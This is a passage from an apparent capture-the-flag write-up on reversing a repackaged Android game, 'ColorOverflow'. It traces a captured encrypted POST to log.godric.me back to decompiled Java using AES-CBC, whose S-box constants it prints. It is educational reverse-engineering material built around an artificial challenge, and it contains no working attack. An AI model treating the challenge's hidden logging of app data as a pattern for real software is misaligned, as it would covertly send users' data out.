<span class="n">out</span> <span class="o">=</span> <span class="n">out</span><span class="p">[:</span><span class="n">offset</span><span class="p">]</span> <span class="o">+</span> <span class="n">out</span><span class="p">[</span><span class="n">offset</span><span class="o">+</span><span class="mi">8</span><span class="p">:]</span>
<span class="n">fp</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">out</span><span class="p">)</span>
<span class="n">fp</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>The APK file can be obtain <a href="/resources/files/alictf/ColorOverflow.apk">here</a> if you’re interested to take a look.</p>
<p>The APK application appears to be a real game available on the <a href="https://play.google.com/store/apps/details?id=eu.veldsoft.colors.overflow&hl=en">playstore</a>.
After decompiling the APK with apktool, we see that within the assets folder, there is a HTML file with a GitHub link to the <a href="http://github.com/TodorBalabanov/ColorsOverflow">original game</a>.</p>
<p>Comparing the original application with this, we see that most of the application is similar. Going back to the pcap file, we see that some HTTP requests are made to this URL:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://www.bing.com/search?q=alictf%7BFlagIsHere%7D&go=Submit&qs=n&form=QBRE&
pq=alictf%7Bflagishere%7D&sc=8-7&sp=-1&sk=&setmkt=zh-CN
</code></pre></div></div>
<p>Looking further, none of the requests seems to be suspicious, except one:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="code"><pre>Frame 1365: 431 bytes on wire <span class="o">(</span>3448 bits<span class="o">)</span>, 431 bytes captured <span class="o">(</span>3448 bits<span class="o">)</span>
Ethernet II, Src: RealtekU_12:34:56 <span class="o">(</span>52:54:00:12:34:56<span class="o">)</span>, Dst: RealtekU_12:35:02 <span class="o">(</span>52:54:00:12:35:02<span class="o">)</span>
Internet Protocol Version 4, Src: 10.0.2.15, Dst: 202.112.51.218
Transmission Control Protocol, Src Port: 44797 <span class="o">(</span>44797<span class="o">)</span>, Dst Port: 80 <span class="o">(</span>80<span class="o">)</span>, Seq: 1, Ack: 1, Len: 377
Hypertext Transfer Protocol
POST /log HTTP/1.1<span class="se">\r\n</span>
<span class="o">[</span>Expert Info <span class="o">(</span>Chat/Sequence<span class="o">)</span>: POST /log HTTP/1.1<span class="se">\r\n</span><span class="o">]</span>
Request Method: POST
Request URI: /log
Request Version: HTTP/1.1
User-Agent: Dalvik/1.6.0 <span class="o">(</span>Linux<span class="p">;</span> U<span class="p">;</span> Android 6.0<span class="p">;</span> Android SDK built <span class="k">for </span>x86_64 Build/MASTER<span class="o">)</span><span class="se">\r\n</span>
Content-Encoding: <span class="nb">gzip</span><span class="se">\r\n</span>
Content-Length: 100<span class="se">\r\n</span>
Content-Type: application/x-www-form-urlencoded<span class="se">\r\n</span>
Host: log.godric.me<span class="se">\r\n</span>
Connection: Keep-Alive<span class="se">\r\n</span>
Accept-Encoding: <span class="nb">gzip</span><span class="se">\r\n</span>
<span class="se">\r\n</span>
<span class="o">[</span>Full request URI: http://log.godric.me/log]
<span class="o">[</span>HTTP request 1/1]
<span class="o">[</span>Response <span class="k">in </span>frame: 1367]
Content-encoded entity body <span class="o">(</span><span class="nb">gzip</span><span class="o">)</span>: 100 bytes -> 77 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
12106262333962303730363064656162643515b9e8f3d3ca2a181046514bf9f2b3cd3bf580b7cd9bae45141820da2990bf15b7fd98a4e73ef766cd714f6f63b2e7f270c55f0caf7e704ca7702f
</pre></td></tr></tbody></table></code></pre></figure>
<p>Following this lead, I used a proxy to look for traffic from the APK and indeed, everytime we win the game and enter a highscore, a <strong>POST</strong> request would be made that is similar to the one above. However, the message seems be to encrypted in a certain way by the APK.</p>
<p><img src="/resources/images/alictf/colorhighscore.png" alt="" /></p>
<p>With this, now it’s clear that what we have to do is to reverse the logic that is responsible for the encryption and to decrypt the data to get our flag. We first search for the URL in the request and trace the code. It starts here:</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre><span class="kn">package</span> <span class="nn">eu.veldsoft.colors.overflow</span><span class="o">;</span>
<span class="o">**</span><span class="nc">Truncated</span><span class="o">**</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">o</span> <span class="kd">extends</span> <span class="nc">AsyncTask</span> <span class="o">{</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">a</span><span class="o">(</span><span class="kt">byte</span><span class="o">[]</span> <span class="n">paramArrayOfByte</span><span class="o">)</span>
<span class="o">{</span>
<span class="nc">ByteArrayOutputStream</span> <span class="n">localByteArrayOutputStream</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ByteArrayOutputStream</span><span class="o">();</span>
<span class="nc">GZIPOutputStream</span> <span class="n">localGZIPOutputStream</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">GZIPOutputStream</span><span class="o">(</span><span class="n">localByteArrayOutputStream</span><span class="o">);</span>
<span class="n">localGZIPOutputStream</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">paramArrayOfByte</span><span class="o">);</span>
<span class="n">localGZIPOutputStream</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="n">localByteArrayOutputStream</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="k">return</span> <span class="n">localByteArrayOutputStream</span><span class="o">.</span><span class="na">toByteArray</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">**</span><span class="nc">Truncated</span><span class="o">**</span>
<span class="kd">protected</span> <span class="nc">String</span> <span class="nf">a</span><span class="o">(</span><span class="nc">ByteArrayOutputStream</span><span class="o">[]</span> <span class="n">paramArrayOfByteArrayOutputStream</span><span class="o">)</span> <span class="o">{</span>
<span class="k">return</span> <span class="nf">a</span><span class="o">(</span><span class="n">b</span><span class="o">(</span><span class="s">"http://log.godric.me/log"</span><span class="o">),</span> <span class="n">paramArrayOfByteArrayOutputStream</span><span class="o">[</span><span class="mi">0</span><span class="o">].</span><span class="na">toByteArray</span><span class="o">());</span>
<span class="o">}</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>We traced the code to this particular function that seems to be invoking the encryption:</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre> <span class="kd">public</span> <span class="kt">void</span> <span class="nf">a</span><span class="o">(</span><span class="nc">String</span> <span class="n">paramString</span><span class="o">)</span>
<span class="o">{</span>
<span class="kt">byte</span><span class="o">[]</span> <span class="n">arrayOfByte1</span> <span class="o">=</span> <span class="n">x</span><span class="o">.</span><span class="na">a</span><span class="o">(</span><span class="n">d</span><span class="o">());</span>
<span class="n">e</span><span class="o">();</span>
<span class="n">g</span><span class="o">();</span>
<span class="kt">byte</span><span class="o">[]</span> <span class="n">arrayOfByte2</span> <span class="o">=</span> <span class="n">x</span><span class="o">.</span><span class="na">a</span><span class="o">(</span><span class="n">f</span><span class="o">(),</span> <span class="n">h</span><span class="o">());</span>
<span class="k">this</span><span class="o">.</span><span class="na">d</span> <span class="o">=</span> <span class="no">AES</span><span class="o">.</span><span class="na">Encrypt</span><span class="o">(</span><span class="n">paramString</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(),</span> <span class="n">arrayOfByte1</span><span class="o">,</span> <span class="n">arrayOfByte2</span><span class="o">);</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>We found that the encryption performed is AES in CBC mode. You can easily tell from the constants, and can verify by checking the values.</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre><span class="kn">package</span> <span class="nn">eu.veldsoft.colors.overflow</span><span class="o">;</span>
<span class="o">**</span><span class="nc">Truncated</span><span class="o">**</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">AES</span> <span class="o">{</span>
<span class="o">**</span><span class="nc">Truncated</span><span class="o">**</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="kt">int</span><span class="o">[]</span> <span class="n">e</span> <span class="o">=</span> <span class="o">{</span> <span class="mi">99</span><span class="o">,</span> <span class="mi">124</span><span class="o">,</span> <span class="mi">119</span><span class="o">,</span> <span class="mi">123</span><span class="o">,</span> <span class="mi">242</span><span class="o">,</span> <span class="mi">107</span><span class="o">,</span> <span class="mi">111</span><span class="o">,</span> <span class="mi">197</span><span class="o">,</span> <span class="mi">48</span><span class="o">,</span> <span class="mi">1</span><span class="o">,</span> <span class="mi">103</span><span class="o">,</span> <span class="mi">43</span><span class="o">,</span> <span class="mi">254</span><span class="o">,</span> <span class="mi">215</span><span class="o">,</span> <span class="mi">171</span><span class="o">,</span> <span class="mi">118</span><span class="o">,</span> <span class="mi">202</span><span class="o">,</span> <span class="mi">130</span><span class="o">,</span> <span class="mi">201</span><span class="o">,</span> <span class="mi">125</span><span class="o">,</span> <span class="mi">250</span><span class="o">,</span> <span class="mi">89</span><span class="o">,</span> <span class="mi">71</span><span class="o">,</span> <span class="mi">240</span><span class="o">,</span> <span class="mi">173</span><span class="o">,</span> <span class="mi">212</span><span class="o">,</span> <span class="mi">162</span><span class="o">,</span> <span class="mi">175</span><span class="o">,</span> <span class="mi">156</span><span class="o">,</span> <span class="mi">164</span><span class="o">,</span> <span class="mi">114</span><span class="o">,</span> <span class="mi">192</span><span class="o">,</span> <span class="mi">183</span><span class="o">,</span> <span class="mi">253</span><span class="o">,</span> <span class="mi">147</span><span class="o">,</span> <span class="mi">38</span><span class="o">,</span> <span class="mi">54</span><span class="o">,</span> <span class="mi">63</span><span class="o">,</span> <span class="mi">247</span><span class="o">,</span> <span class="mi">204</span><span class="o">,</span> <span class="mi">52</span><span class="o">,</span> <span class="mi">165</span><span class="o">,</span> <span class="mi">229</span><span class="o">,</span> <span class="mi">241</span><span class="o">,</span> <span class="mi">113</span><span class="o">,</span> <span class="mi">216</span><span class="o">,</span> <span class="mi">49</span><span class="o">,</span> <span class="mi">21</span><span class="o">,</span> <span class="mi">4</span><span class="o">,</span> <span class="mi">199</span><span class="o">,</span> <span class="mi">35</span><span class="o">,</span> <span class="mi">195</span><span class="o">,</span> <span class="mi">24</span><span class="o">,</span> <span class="mi">150</span><span class="o">,</span> <span class="mi">5</span><span class="o">,</span> <span class="mi">154</span><span class="o">,</span> <span class="mi">7</span><span class="o">,</span> <span class="mi">18</span><span class="o">,</span> <span class="mi">128</span><span class="o">,</span> <span class="mi">226</span><span class="o">,</span> <span class="mi">235</span><span class="o">,</span> <span class="mi">39</span><span class="o">,</span> <span class="mi">178</span><span class="o">,</span> <span class="mi">117</span><span class="o">,</span> <span class="mi">9</span><span class="o">,</span> <span class="mi">131</span><span class="o">,</span> <span class="mi">44</span><span class="o">,</span> <span class="mi">26</span><span class="o">,</span> <span class="mi">27</span><span class="o">,</span> <span class="mi">110</span><span class="o">,</span> <span class="mi">90</span><span class="o">,</span> <span class="mi">160</span><span class="o">,</span> <span class="mi">82</span><span class="o">,</span> <span class="mi">59</span><span class="o">,</span> <span class="mi">214</span><span class="o">,</span> <span class="mi">179</span><span class="o">,</span> <span class="mi">41</span><span class="o">,</span> <span class="mi">227</span><span class="o">,</span> <span class="mi">47</span><span class="o">,</span> <span class="mi">132</span><span class="o">,</span> <span class="mi">83</span><span class="o">,</span> <span class="mi">209</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="mi">237</span><span class="o">,</span> <span class="mi">32</span><span class="o">,</span> <span class="mi">252</span><span class="o">,</span> <span class="mi">177</span><span class="o">,</span> <span class="mi">91</span><span class="o">,</span> <span class="mi">106</span><span class="o">,</span> <span class="mi">203</span><span class="o">,</span> <span class="mi">190</span><span class="o">,</span> <span class="mi">57</span><span class="o">,</span> <span class="mi">74</span><span class="o">,</span> <span class="mi">76</span><span class="o">,</span> <span class="mi">88</span><span class="o">,</span> <span class="mi">207</span><span class="o">,</span> <span class="mi">208</span><span class="o">,</span> <span class="mi">239</span><span class="o">,</span> <span class="mi">170</span><span class="o">,</span> <span class="mi">251</span><span class="o">,</span> <span class="mi">67</span><span class="o">,</span> <span class="mi">77</span><span class="o">,</span> <span class="mi">51</span><span class="o">,</span> <span class="mi">133</span><span class="o">,</span> <span class="mi">69</span><span class="o">,</span> <span class="mi">249</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="mi">127</span><span class="o">,</span> <span class="mi">80</span><span class="o">,</span> <span class="mi">60</span><span class="o">,</span> <span class="mi">159</span><span class="o">,</span> <span class="mi">168</span><span class="o">,</span> <span class="mi">81</span><span class="o">,</span> <span class="mi">163</span><span class="o">,</span> <span class="mi">64</span><span class="o">,</span> <span class="mi">143</span><span class="o">,</span> <span class="mi">146</span><span class="o">,</span> <span class="mi">157</span><span class="o">,</span> <span class="mi">56</span><span class="o">,</span> <span class="mi">245</span><span class="o">,</span> <span class="mi">188</span><span class="o">,</span> <span class="mi">182</span><span class="o">,</span> <span class="mi">218</span><span class="o">,</span> <span class="mi">33</span><span class="o">,</span> <span class="mi">16</span><span class="o">,</span> <span class="mi">255</span><span class="o">,</span> <span class="mi">243</span><span class="o">,</span> <span class="mi">210</span><span class="o">,</span> <span class="mi">205</span><span class="o">,</span> <span class="mi">12</span><span class="o">,</span> <span class="mi">19</span><span class="o">,</span> <span class="mi">236</span><span class="o">,</span> <span class="mi">95</span><span class="o">,</span> <span class="mi">151</span><span class="o">,</span> <span class="mi">68</span><span class="o">,</span> <span class="mi">23</span><span class="o">,</span> <span class="mi">196</span><span class="o">,</span> <span class="mi">167</span><span class="o">,</span> <span class="mi">126</span><span class="o">,</span> <span class="mi">61</span><span class="o">,</span> <span class="mi">100</span><span class="o">,</span> <span class="mi">93</span><span class="o">,</span> <span class="mi">25</span><span class="o">,</span> <span class="mi">115</span><span class="o">,</span> <span class="mi">96</span><span class="o">,</span> <span class="mi">129</span><span class="o">,</span> <span class="mi">79</span><span class="o">,</span> <span class="mi">220</span><span class="o">,</span> <span class="mi">34</span><span class="o">,</span> <span class="mi">42</span><span class="o">,</span> <span class="mi">144</span><span class="o">,</span> <span class="mi">136</span><span class="o">,</span> <span class="mi">70</span><span class="o">,</span> <span class="mi">238</span><span class="o">,</span> <span class="mi">184</span><span class="o">,</span> <span class="mi">20</span><span class="o">,</span> <span class="mi">222</span><span class="o">,</span> <span class="mi">94</span><span class="o">,</span> <span class="mi">11</span><span class="o">,</span> <span class="mi">219</span><span class="o">,</span> <span class="mi">224</span><span class="o">,</span> <span class="mi">50</span><span class="o">,</span> <span class="mi">58</span><span class="o">,</span> <span class="mi">10</span><span class="o">,</span> <span class="mi">73</span><span class="o">,</span> <span class="mi">6</span><span class="o">,</span> <span class="mi">36</span><span class="o">,</span> <span class="mi">92</span><span class="o">,</span> <span class="mi">194</span><span class="o">,</span> <span class="mi">211</span><span class="o">,</span> <span class="mi">172</span><span class="o">,</span> <span class="mi">98</span><span class="o">,</span> <span class="mi">145</span><span class="o">,</span> <span class="mi">149</span><span class="o">,</span> <span class="mi">228</span><span class="o">,</span> <span class="mi">121</span><span class="o">,</span> <span class="mi">231</span><span class="o">,</span> <span class="mi">200</span><span class="o">,</span> <span class="mi">55</span><span class="o">,</span> <span class="mi">109</span><span class="o">,</span> <span class="mi">141</span><span class="o">,</span> <span class="mi">213</span><span class="o">,</span> <span class="mi">78</span><span class="o">,</span> <span class="mi">169</span><span class="o">,</span> <span class="mi">108</span><span class="o">,</span> <span class="mi">86</span><span class="o">,</span> <span class="mi">244</span><span class="o">,</span> <span class="mi">234</span><span class="o">,</span> <span class="mi">101</span><span class="o">,</span> <span class="mi">122</span><span class="o">,</span> <span class="mi">174</span><span class="o">,</span> <span class="mi">8</span><span class="o">,</span> <span class="mi">186</span><span class="o">,</span> <span class="mi">120</span><span class="o">,</span> <span class="mi">37</span><span class="o">,</span> <span class="mi">46</span><span class="o">,</span> <span class="mi">28</span><span class="o">,</span> <span class="mi">166</span><span class="o">,</span> <span class="mi">180</span><span class="o">,</span> <span class="mi">198</span><span class="o">,</span> <span class="mi">232</span><span class="o">,</span> <span class="mi">221</span><span class="o">,</span> <span class="mi">116</span><span class="o">,</span> <span class="mi">31</span><span class="o">,</span> <span class="mi">75</span><span class="o">,</span> <span class="mi">189</span><span class="o">,</span> <span class="mi">139</span><span class="o">,</span> <span class="mi">138</span><span class="o">,</span> <span class="mi">112</span><span class="o">,</span> <span class="mi">62</span><span class="o">,</span> <span class="mi">181</span><span class="o">,</span> <span class="mi">102</span><span class="o">,</span> <span class="mi">72</span><span class="o">,</span> <span class="mi">3</span><span class="o">,</span> <span class="mi">246</span><span class="o">,</span> <span class="mi">14</span><span class="o">,</span> <span class="mi">97</span><span class="o">,</span> <span class="mi">53</span><span class="o">,</span> <span class="mi">87</span><span class="o">,</span> <span class="mi">185</span><span class="o">,</span> <span class="mi">134</span><span class="o">,</span> <span class="mi">193</span><span class="o">,</span> <span class="mi">29</span><span class="o">,</span> <span class="mi">158</span><span class="o">,</span> <span class="mi">225</span><span class="o">,</span> <span class="mi">248</span><span class="o">,</span> <span class="mi">152</span><span class="o">,</span> <span class="mi">17</span><span class="o">,</span> <span class="mi">105</span><span class="o">,</span> <span class="mi">217</span><span class="o">,</span> <span class="mi">142</span><span class="o">,</span> <span class="mi">148</span><span class="o">,</span> <span class="mi">155</span><span class="o">,</span> <span class="mi">30</span><span class="o">,</span> <span class="mi">135</span><span class="o">,</span> <span class="mi">233</span><span class="o">,</span> <span class="mi">206</span><span class="o">,</span> <span class="mi">85</span><span class="o">,</span> <span class="mi">40</span><span class="o">,</span> <span class="mi">223</span><span class="o">,</span> <span class="mi">140</span><span class="o">,</span> <span class="mi">161</span><span class="o">,</span> <span class="mi">137</span><span class="o">,</span> <span class="mi">13</span><span class="o">,</span> <span class="mi">191</span><span class="o">,</span> <span class="mi">230</span><span class="o">,</span> <span class="mi">66</span><span class="o">,</span> <span class="mi">104</span><span class="o">,</span> <span class="mi">65</span><span class="o">,</span> <span class="mi">153</span><span class="o">,</span> <span class="mi">45</span><span class="o">,</span> <span class="mi">15</span><span class="o">,</span> <span class="mi">176</span><span class="o">,</span> <span class="mi">84</span><span class="o">,</span> <span class="mi">187</span><span class="o">,</span> <span class="mi">22</span> <span class="o">};</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="kt">int</span><span class="o">[]</span> <span class="n">f</span> <span class="o">=</span> <span class="o">{</span> <span class="mi">82</span><span class="o">,</span> <span class="mi">9</span><span class="o">,</span> <span class="mi">106</span><span class="o">,</span> <span class="mi">213</span><span class="o">,</span> <span class="mi">48</span><span class="o">,</span> <span class="mi">54</span><span class="o">,</span> <span class="mi">165</span><span class="o">,</span> <span class="mi">56</span><span class="o">,</span> <span class="mi">191</span><span class="o">,</span> <span class="mi">64</span><span class="o">,</span> <span class="mi">163</span><span class="o">,</span> <span class="mi">158</span><span class="o">,</span> <span class="mi">129</span><span class="o">,</span> <span class="mi">243</span><span class="o">,</span> <span class="mi">215</span><span class="o">,</span> <span class="mi">251</span><span class="o">,</span> <span class="mi">124</span><span class="o">,</span> <span class="mi">227</span><span class="o">,</span> <span class="mi">57</span><span class="o">,</span> <span class="mi">130</span><span class="o">,</span> <span class="mi">155</span><span class="o">,</span> <span class="mi">47</span><span class="o">,</span> <span class="mi">255</span><span class="o">,</span> <span class="mi">135</span><span class="o">,</span> <span class="mi">52</span><span class="o">,</span> <span class="mi">142</span><span class="o">,</span> <span class="mi">67</span><span class="o">,</span> <span class="mi">68</span><span class="o">,</span> <span class="mi">196</span><span class="o">,</span> <span class="mi">222</span><span class="o">,</span> <span class="mi">233</span><span class="o">,</span> <span class="mi">203</span><span class="o">,</span> <span class="mi">84</span><span class="o">,</span> <span class="mi">123</span><span class="o">,</span> <span class="mi">148</span><span class="o">,</span> <span class="mi">50</span><span class="o">,</span> <span class="mi">166</span><span class="o">,</span> <span class="mi">194</span><span class="o">,</span> <span class="mi">35</span><span class="o">,</span> <span class="mi">61</span><span class="o">,</span> <span class="mi">238</span><span class="o">,</span> <span class="mi">76</span><span class="o">,</span> <span class="mi">149</span><span class="o">,</span> <span class="mi">11</span><span class="o">,</span> <span class="mi">66</span><span class="o">,</span> <span class="mi">250</span><span class="o">,</span> <span class="mi">195</span><span class="o">,</span> <span class="mi">78</span><span class="o">,</span> <span class="mi">8</span><span class="o">,</span> <span class="mi">46</span><span class="o">,</span> <span class="mi">161</span><span class="o">,</span> <span class="mi">102</span><span class="o">,</span> <span class="mi">40</span><span class="o">,</span> <span class="mi">217</span><span class="o">,</span> <span class="mi">36</span><span class="o">,</span> <span class="mi">178</span><span class="o">,</span> <span class="mi">118</span><span class="o">,</span> <span class="mi">91</span><span class="o">,</span> <span class="mi">162</span><span class="o">,</span> <span class="mi">73</span><span class="o">,</span> <span class="mi">109</span><span class="o">,</span> <span class="mi">139</span><span class="o">,</span> <span class="mi">209</span><span class="o">,</span> <span class="mi">37</span><span class="o">,</span> <span class="mi">114</span><span class="o">,</span> <span class="mi">248</span><span class="o">,</span> <span class="mi">246</span><span class="o">,</span> <span class="mi">100</span><span class="o">,</span> <span class="mi">134</span><span class="o">,</span> <span class="mi">104</span><span class="o">,</span> <span class="mi">152</span><span class="o">,</span> <span class="mi">22</span><span class="o">,</span> <span class="mi">212</span><span class="o">,</span> <span class="mi">164</span><span class="o">,</span> <span class="mi">92</span><span class="o">,</span> <span class="mi">204</span><span class="o">,</span> <span class="mi">93</span><span class="o">,</span> <span class="mi">101</span><span class="o">,</span> <span class="mi">182</span><span class="o">,</span> <span class="mi">146</span><span class="o">,</span> <span class="mi">108</span><span class="o">,</span> <span class="mi">112</span><span class="o">,</span> <span class="mi">72</span><span class="o">,</span> <span class="mi">80</span><span class="o">,</span> <span class="mi">253</span><span class="o">,</span> <span class="mi">237</span><span class="o">,</span> <span class="mi">185</span><span class="o">,</span> <span class="mi">218</span><span class="o">,</span> <span class="mi">94</span><span class="o">,</span> <span class="mi">21</span><span class="o">,</span> <span class="mi">70</span><span class="o">,</span> <span class="mi">87</span><span class="o">,</span> <span class="mi">167</span><span class="o">,</span> <span class="mi">141</span><span class="o">,</span> <span class="mi">157</span><span class="o">,</span> <span class="mi">132</span><span class="o">,</span> <span class="mi">144</span><span class="o">,</span> <span class="mi">216</span><span class="o">,</span> <span class="mi">171</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="mi">140</span><span class="o">,</span> <span class="mi">188</span><span class="o">,</span> <span class="mi">211</span><span class="o">,</span> <span class="mi">10</span><span class="o">,</span> <span class="mi">247</span><span class="o">,</span> <span class="mi">228</span><span class="o">,</span> <span class="mi">88</span><span class="o">,</span> <span class="mi">5</span><span class="o">,</span> <span class="mi">184</span><span class="o">,</span> <span class="mi">179</span><span class="o">,</span> <span class="mi">69</span><span class="o">,</span> <span class="mi">6</span><span class="o">,</span> <span class="mi">208</span><span class="o">,</span> <span class="mi">44</span><span class="o">,</span> <span class="mi">30</span><span class="o">,</span> <span class="mi">143</span><span class="o">,</span> <span class="mi">202</span><span class="o">,</span> <span class="mi">63</span><span class="o">,</span> <span class="mi">15</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="mi">193</span><span class="o">,</span> <span class="mi">175</span><span class="o">,</span> <span class="mi">189</span><span class="o">,</span> <span class="mi">3</span><span class="o">,</span> <span class="mi">1</span><span class="o">,</span> <span class="mi">19</span><span class="o">,</span> <span class="mi">138</span><span class="o">,</span> <span class="mi">107</span><span class="o">,</span> <span class="mi">58</span><span class="o">,</span> <span class="mi">145</span><span class="o">,</span> <span class="mi">17</span><span class="o">,</span> <span class="mi">65</span><span class="o">,</span> <span class="mi">79</span><span class="o">,</span> <span class="mi">103</span><span class="o">,</span> <span class="mi">220</span><span class="o">,</span> <span class="mi">234</span><span class="o">,</span> <span class="mi">151</span><span class="o">,</span> <span class="mi">242</span><span class="o">,</span> <span class="mi">207</span><span class="o">,</span> <span class="mi">206</span><span class="o">,</span> <span class="mi">240</span><span class="o">,</span> <span class="mi">180</span><span class="o">,</span> <span class="mi">230</span><span class="o">,</span> <span class="mi">115</span><span class="o">,</span> <span class="mi">150</span><span class="o">,</span> <span class="mi">172</span><span class="o">,</span> <span class="mi">116</span><span class="o">,</span> <span class="mi">34</span><span class="o">,</span> <span class="mi">231</span><span class="o">,</span> <span class="mi">173</span><span class="o">,</span> <span class="mi">53</span><span class="o">,</span> <span class="mi">133</span><span class="o">,</span> <span class="mi">226</span><span class="o">,</span> <span class="mi">249</span><span class="o">,</span> <span class="mi">55</span><span class="o">,</span> <span class="mi">232</span><span class="o">,</span> <span class="mi">28</span><span class="o">,</span> <span class="mi">117</span><span class="o">,</span> <span class="mi">223</span><span class="o">,</span> <span class="mi">110</span><span class="o">,</span> <span class="mi">71</span><span class="o">,</span> <span class="mi">241</span><span class="o">,</span> <span class="mi">26</span><span class="o">,</span> <span class="mi">113</span><span class="o">,</span> <span class="mi">29</span><span class="o">,</span> <span class="mi">41</span><span class="o">,</span> <span class="mi">197</span><span class="o">,</span> <span class="mi">137</span><span class="o">,</span> <span class="mi">111</span><span class="o">,</span> <span class="mi">183</span><span class="o">,</span> <span class="mi">98</span><span class="o">,</span> <span class="mi">14</span><span class="o">,</span> <span class="mi">170</span><span class="o">,</span> <span class="mi">24</span><span class="o">,</span> <span class="mi">190</span><span class="o">,</span> <span class="mi">27</span><span class="o">,</span> <span class="mi">252</span><span class="o">,</span> <span class="mi">86</span><span class="o">,</span> <span class="mi">62</span><span class="o">,</span> <span class="mi">75</span><span class="o">,</span> <span class="mi">198</span><span class="o">,</span> <span class="mi">210</span><span class="o">,</span> <span class="mi">121</span><span class="o">,</span> <span class="mi">32</span><span class="o">,</span> <span class="mi">154</span><span class="o">,</span> <span class="mi">219</span><span class="o">,</span> <span class="mi">192</span><span class="o">,</span> <span class="mi">254</span><span class="o">,</span> <span class="mi">120</span><span class="o">,</span> <span class="mi">205</span><span class="o">,</span> <span class="mi">90</span><span class="o">,</span> <span class="mi">244</span><span class="o">,</span> <span class="mi">31</span><span class="o">,</span> <span class="mi">221</span><span class="o">,</span> <span class="mi">168</span><span class="o">,</span> <span class="mi">51</span><span class="o">,</span> <span class="mi">136</span><span class="o">,</span> <span class="mi">7</span><span class="o">,</span> <span class="mi">199</span><span class="o">,</span> <span class="mi">49</span><span class="o">,</span> <span class="mi">177</span><span class="o">,</span> <span class="mi">18</span><span class="o">,</span> <span class="mi">16</span><span class="o">,</span> <span class="mi">89</span><span class="o">,</span> <span class="mi">39</span><span class="o">,</span> <span class="mi">128</span><span class="o">,</span> <span class="mi">236</span><span class="o">,</span> <span class="mi">95</span><span class="o">,</span> <span class="mi">96</span><span class="o">,</span> <span class="mi">81</span><span class="o">,</span> <span class="mi">127</span><span class="o">,</span> <span class="mi">169</span><span class="o">,</span> <span class="mi">25</span><span class="o">,</span> <span class="mi">181</span><span class="o">,</span> <span class="mi">74</span><span class="o">,</span> <span class="mi">13</span><span class="o">,</span> <span class="mi">45</span><span class="o">,</span> <span class="mi">229</span><span class="o">,</span> <span class="mi">122</span><span class="o">,</span> <span class="mi">159</span><span class="o">,</span> <span class="mi">147</span><span class="o">,</span> <span class="mi">201</span><span class="o">,</span> <span class="mi">156</span><span class="o">,</span> <span class="mi">239</span><span class="o">,</span> <span class="mi">160</span><span class="o">,</span> <span class="mi">224</span><span class="o">,</span> <span class="mi">59</span><span class="o">,</span> <span class="mi">77</span><span class="o">,</span> <span class="mi">174</span><span class="o">,</span> <span class="mi">42</span><span class="o">,</span> <span class="mi">245</span><span class="o">,</span> <span class="mi">176</span><span class="o">,</span> <span class="mi">200</span><span class="o">,</span> <span class="mi">235</span><span class="o">,</span> <span class="mi">187</span><span class="o">,</span> <span class="mi">60</span><span class="o">,</span> <span class="mi">131</span><span class="o">,</span> <span class="mi">83</span><span class="o">,</span> <span class="mi">153</span><span class="o">,</span> <span class="mi">97</span><span class="o">,</span> <span class="mi">23</span><span class="o">,</span> <span class="mi">43</span><span class="o">,</span> <span class="mi">4</span><span class="o">,</span> <span class="mi">126</span><span class="o">,</span> <span class="mi">186</span><span class="o">,</span> <span class="mi">119</span><span class="o">,</span> <span class="mi">214</span><span class="o">,</span> <span class="mi">38</span><span class="o">,</span> <span class="mi">225</span><span class="o">,</span> <span class="mi">105</span><span class="o">,</span> <span class="mi">20</span><span class="o">,</span> <span class="mi">99</span><span class="o">,</span> <span class="mi">85</span><span class="o">,</span> <span class="mi">33</span><span class="o">,</span> <span class="mi">12</span><span class="o">,</span> <span class="mi">125</span> <span class="o">};</span>
